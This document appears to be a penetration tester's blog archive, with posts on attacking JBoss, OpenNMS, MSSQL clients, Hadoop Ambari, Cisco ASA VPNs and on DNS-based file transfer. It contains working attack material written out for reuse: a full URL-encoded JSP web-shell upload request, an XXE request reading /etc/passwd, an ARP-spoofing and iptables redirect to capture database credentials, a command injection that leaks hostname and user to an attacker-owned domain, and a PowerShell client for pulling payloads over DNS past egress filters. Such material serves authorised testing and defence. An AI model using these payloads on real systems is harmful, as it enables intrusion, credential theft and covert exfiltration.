Tuesday, November 3, 2015

The Proud Owner of a New Shiny Blog

Although you probably haven't noticed, things around here have been pretty quiet lately. That's partly because I've been saving up all my cool stuff for a new blog! I just dropped the first two posts at http://foxglovesecurity.com. For those actually reading this, I recommend keeping an eye on it or following @foxglovesec, there's going to be a third post later this week that will really knock your socks off.

Going forward, this blog will likely become a space to post things that my team members at FoxGlove Security wouldn't approve of, or don't care about.

Monday, August 17, 2015

Bad AS - More on Broken JBoss Configurations

It's been a while since I've posted anything about JBoss. Once in a while I still get an email or IM about someone trying to use the exploit code released here or in the "clusterd" framework against a JBoss instance that should be vulnerable, but seems to fail when the payload attempts to deploy. This was (and still is) a bit of a mystery, mostly because I haven't spent the time to reproduce these configurations.

In a somewhat recent engagement, my team ran up against such a JBoss instance for the first time. Authentication was not enabled on the HtmlAdaptor interface or jmx-console interfaces. They could be accessed, properties could easily be changed, but when a shell was deployed through either of the two JBoss deployers that we had used in previous exploits (MainDeployer or DeploymentFileRepository), the deployment would fail and the shell would not be accessible.

I was highly motivated to get the exploit working and decided to dive a little deeper, eventually finding a workaround that should avoid a lot of future headaches.

Phase 1 - Reconfiguration

The first phase of this exploit involves applying a configuration change to the "DeploymentFileRepository" through the HtmlAdaptor. This should also be possible through the "JMXInvokerServlet" interface, however I haven't had the joy of jumping through those hoops yet. The page is accessed at: 
  • /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin%3Aservice%3DDeploymentFileRepository
The property "BaseDir" should be updated to point to jmx-console.war as follows:

Note that this works because jmx-console.war is an "exploded" war file - ie. a directory with ".war" in the name. Anything you put in this directory is accessible at http://host:port/jmx-console/... It should be obvious at this point where this is going.

Phase 2 - Shell Upload

Now we can use any method we please to attempt to deploy a malicious "war" file to the application server. Since we're already on the DeploymentFileRepository configuration page, I just did it directly from there, as follows:

The resulting POST request when invoking the operation looks like this:
  • action=invokeOp&name=jboss.admin%253Aservice%253DDeploymentFileRepository&methodIndex=5&arg0=testshell.war&arg1=test&arg2=.jsp&arg3=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%3C%25%25%3E%3CHTML%3E%3CBODY%3ECommands+with+JSP%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%3C%2FFORM%3E%3Cpre%3E%3C%25if+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B++++Process+p%3B++++if+%28+System.getProperty%28%22os.name%22%29.toLowerCase%28%29.indexOf%28%22windows%22%29+%21%3D+-1%29%7B++++++++p+%3D+Runtime.getRuntime%28%29.exec%28%22cmd.exe+%2FC+%22+%2B+request.getParameter%28%22cmd%22%29%29%3B++++%7D++++else%7B++++++++p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B++++%7D++++OutputStream+os+%3D+p.getOutputStream%28%29%3B++++InputStream+in+%3D+p.getInputStream%28%29%3B++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B++++String+disr+%3D+dis.readLine%28%29%3B++++while+%28+disr+%21%3D+null+%29+%7B++++out.println%28disr%29%3B++++disr+%3D+dis.readLine%28%29%3B++++%7D%7D%25%3E%3C%2Fpre%3E%3C%2FBODY%3E%3C%2FHTML%3E&arg4=True

Phase 3 - Shell Access

At this point your shell is not actually "deployed" to JBoss - because deployment was failing and that's the whole reason we went through all this trouble in the first place. However, the actual upload step is decoupled from deployment, and even if deployment fails, those uploaded files remain on the server. With the values I used for the test shell above, you would then be able to access your shell at:
  • http://host:port/jmx-console/testwar.war/test.jsp

Further Work

As mentioned previously, in theory this work work with the JMXInvokerServlet and EJBInvokerServlet deployers, it would just require a little bit of coding.

Wednesday, January 21, 2015

OpenNMS 0-day -> XXE to Shell

OpenNMS is an open source network management application. We see these things occasionally on internal penetration tests and given the nature of network monitoring systems, they can be an attractive target. If you pop the NMS, sometimes you can find credentials or keys for other servers and devices, or if the box is based on a standard internal build and you can crack (or find) a local account password, you might be able to gain some lateral movement.

With that in mind, and the fact that there weren't a lot of other interesting targets on this particular network, we set to work.

The OpenNMS login page was discovered using the tool we recently dropped at Schmoocon, httpscreenshot (https://github.com/breenmachine/httpscreenshot). Any time I see a login page for some unknown device or service I consult Google with "<devicename> default password". If you do that now, you'll find references to this vulnerability, but just a month or so ago you would have seen the following page among the top results:

  • http://marc.info/?l=opennms-discuss&m=112809902228006
The above references a default account named "rtc" with password "rtc". Almost noone changes the password on this account (except that one guy in the forum post apparently), because it is an ultra low privilege service account that simply talks to the OpenNMS web service. Logging into the web interface with this account proved useless, while authentication succeeds, no options are available.

Knowing that the account must be used for something, a little more Googling turned up the "rtc" URL and the fact that it was actually an XML based web service. With that in mind, I decided to take a shot in the dark at XXE:

POST /opennms/rtc/post/xxxxx HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.2.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=somethingsomethingsomething
Connection: keep-alive
Content-Length: 151

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Of course it worked, I probably wouldn't be writing this otherwise.

The shell was trivially obtained by pulling /root/.ssh/ssh_rsa and logging into the machine...

Juken, (https://jstnkndy.github.io) reported the vulnerability to OpenNMS and had a CVE assigned. They did a really cool and detailed wiki post: http://www.opennms.org/wiki/CVE-2015-0975

He also wrote a metasploit module for this vulnerability: https://github.com/rapid7/metasploit-framework/pull/4585

Tuesday, December 16, 2014

MSSQL MITM FTW - Ettercap and Responder to Intercept (plaintext!) MSSQL Creds

A fun exercise in confidentiality vs authentication, and why "encrypted" doesn't always mean secure.

Imagine the (common) scenario where some sort of service needs to interact with an MSSQL database. The client application opens a "secure" connection with MSSQL, sends over the username and password to authenticate, runs some queries, does its thing, wash, rinse repeat.

All the communication is encrypted so we're good right...? It all depends how you establish that "secure" connection between the client and server. It turns out, by default, MSSQL and the clients that connect to it use and trust self-signed certificates when doing SQL server authentication.

Once you realize this, the dominos start to fall. What this means is that if you're on the same network as a SQL server and you can conduct a man-in-the-middle attack, you can actually trick any clients that connect to that server (using SQL server authentication) to send you their credentials!

On a recent test, we ran into this exact scenario. Not much going on on the network except some MSSQL traffic so I decided to run with a hunch and see what would happen.

The first step was to identify the SQL server and setup Ettercap to ARP spoof traffic between the SQL server and the gateway. Easy enough - now the SQL server traffic is flowing through our machine.

Next we run Responder.py and have it enable it's SQL Server authentication listener. This spins up a "fake" SQL server that will log any credentials sent to it.

Finally - a simple IPTables rule to redirect traffic bound for the real DBMS to the listener running on our machine "iptables -t nat -A PREROUTING -p tcp --dport 1433 -j REDIRECT --to-ports 1433". This will break things. Any connections to the DBMS that are currently open will probably break, the client will try to re-authentication, we'll catch the creds.

SQL Server can then be used to pivot into the network/domain with xp_cmdshell, extract sensitive data etc...

The mitigation here is to use a strong password and Windows or Domain authentication for SQL server.

Thursday, December 11, 2014

Raining Shells - Ambari "0-day"

Something that we're starting to see occasionally on penetration tests are Hadoop clusters and all of the associated technologies that go along with them.

The old security model for these things used to be "Trust your network" - ie: Lock them in a room, somewhere behind a firewall, and cross your fingers. Nowadays however bleeding edge security features such as usernames and passwords have been implemented on many of the administrative interfaces for these services *gasp*.

On a recent penetration juken (http://jstnkndy.github.io/) and I ran into a semi-locked down Hadoop cluster. The HDFS file browsing web interfaces were still enabled and didn't require authentication (eg: http://<namenode host>:1022/browseDirectory.jsp) but we wanted shells, and lots of them.

So where to start? A quick portscan and httpscreenshot run showed a number of management and monitoring tools running. After some initial stumbling around and default password checking on the web interfaces we'd come up dry. In a short moment of brialliance, Juken decided to try the default DBMS credentials on the Postgresql database server for the Ambari administrative tool - they worked.

Ambari is a provisioning tool for Hadoop clusters. With a few clicks, you can instruct it to install different packages like YARN, Hadoop, HDFS, etc.. on the various nodes that it manages. Unfortunately there is no official "feature" to send yourself a bash shell on the remote machines.

With credentials to the Postgres database, it was trivial to create a new admin user in Ambari with the password of "admin". They hash with sha256 bcrypt and a random salt... the easiest way is to just add a new user or modify the existing admins password with the following:

update ambari.users set
where user_name='admin'

Unfortunately, Ambari needs to be restarted for new users or changed passwords to take effect... so now you must wait.

Eventually the change was applied and we were in. After some time and much frustration with technology we aren't exactly familiar with, we found the undocumented "shell" feature - it's always there somewhere, you just have to look hard enough.

It turns out that for the HDFS service (and probably all the others) you can inject commands into the java heapsize parameter. The Javascript on the front-end of the app doesn't like it - but if you do it through BURP, the changes will be applied/saved. Restart the service and boom goes the dynamite - your command gets executed on every namenode/datanode in the cluster.

In the screenshot, we did `ping \`hostname\`.\`whoami\`.somedomainweown.com` - we own the authoritative nameserver for that domain and listen on port 53. Watch the DNS requests for things like "server1.root.somedomain.com" roll in

Monday, October 27, 2014

Cisco ASA SSL VPN Backdoor PoC (CVE-2014-3393)

A coworker and I recently had the opportunity to work with a new vulnerability released at Ruxcon just earlier this month and while we didn't get exactly what we wanted, it was quite interesting.

The conference presentation was titled "Breaking Bricks and Plumbing Pipes: Cisco ASA a Super Mario Adventure" https://ruxcon.org.au/assets/2014/slides/Breaking%20Bricks%20Ruxcon%202014.pdf and was EXTREMELY interesting. The researcher Alec Stuart-Muirk managed the "jailbreak" the ASA and from there do some cool things with it, including a code audit of the publicly facing SSL VPN interface.

One thing that come out during the code audit was that the authorization check on some of the administrative interface pages can be bypassed by setting the cookie value to any valid file on the file system. I'm not going to get into too much detail because the slides cover it well, but basically this allows you to make modifications to the SSL VPN page WITHOUT AUTHENTICATION. This vulnerability is CVE-2014-3393 and affected versions can be found at http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3393. He also released a way to pull the version from a remote ASA - it's as simple as hitting the following URL: https://<IP ADDRESS>/CSCOSSLC/config-auth

As a penetration tester this is very interesting because it allows us to backdoor the SSL VPN, and easily intercept plaintext credentials. Even those using 2 factor authentication wouldn't be safe from such an attack as the attacker could immediately use the intercepted token to login.

We spotted the SSL VPN login page in the wild recently and decided to take a crack at this vulnerability. The first step was to get a test setup running - since none of us own an ASA we "acquired" a virtual one. There might be a VMWare image here with such a thing running a vulnerable version.

After that, we simply proxied and intercepted the target requests. Interestingly, we had to make some modifications to the PoC posted in the Ruxcon presentation to get it to work (remove the User-Agent header from the cedsave request), indicating minor version differences may require further testing to get running. After making the appropriate modifications to the target requests, as detailed in the Ruxcon presentation, we were successfully able to backdoor our SSL VPN without authentication! Really cool stuff!

For those who would like to try at home, I've uploaded a BURP state https://github.com/breenmachine/various with the required requests in the "Repeater" tab to save you from typing them. This was tested on version ASA 9.2(1) and probably will require modification for other versions. Simply configure your ASA, point BURP at it, and give it a shot.

If anyone gets this working on other versions of ASA, I'd like to hear about the necessary modifications.

For those without a copy of BURP Pro, these are the requests you'll need:

Tuesday, September 16, 2014

Transfer File Over DNS in Windows (with 13 lines of PowerShell)

In a previous post (http://breenmachine.blogspot.ca/2014/03/downloading-files-through-recursive-dns.html) I mentioned that it is possible to download files through recursive DNS queries with Bash or Powershell.

This was done through a client/server setup where the server hosts a particular file and the clients were to be written in very short scripts that could be feasibly re-created by hand on-demand to deliver binary payloads to machines.

There are a number of feasible scenarios where this is useful. For example, if you have physical access to a machine that is on a locked down network segment with restricted egress traffic. Or the example that came up in a recent penetration test was that we had command execution on a remote database server through SQLi, however no traffic was allowed egress to to the internet from the database server so we couldn't directly establish a C&C channel. Using this script, combined with CobaltStrike Beacon over DNS we were able to get a fully functional Meterpreter shell tunneling over DNS (and it was surprisingly fast).

In my previous post, I released the code for a Bash client and the Python server. I'm now releasing code for the (probably more useful to most people) Powershell client script, and it only ended up being 13 lines!

Can be found on github (https://github.com/breenmachine/dnsftp) - or below. Usage is simply:

On the server hosting the file:
./server.py -f /path/to/file

On the target client to deliver the binary:
powershell client.ps1 -server where.your.server.resolves.com

param ([string]$server)
for($i=0;$i -ge 0;$i++){
$command='cmd.exe /C nslookup -type=TXT '+$i+'.$server'
$a=Invoke-Expression -Command:$command
if($error.Count -ge 1){$i=-10}

There are a few caveats here. The error handling isn't great. If you see that the client calls it quits before it fetches all of the chunks of your payload - run it again. It means the DNS server didn't get a response from your server in time. You may have to run the client a few times, each time it will pull TXT records from its cache up to the one where it made an error, eventually getting your whole file. To optimize this for larger payloads, some simple error handling could be added, but I wanted to keep the client script pretty bare-bones.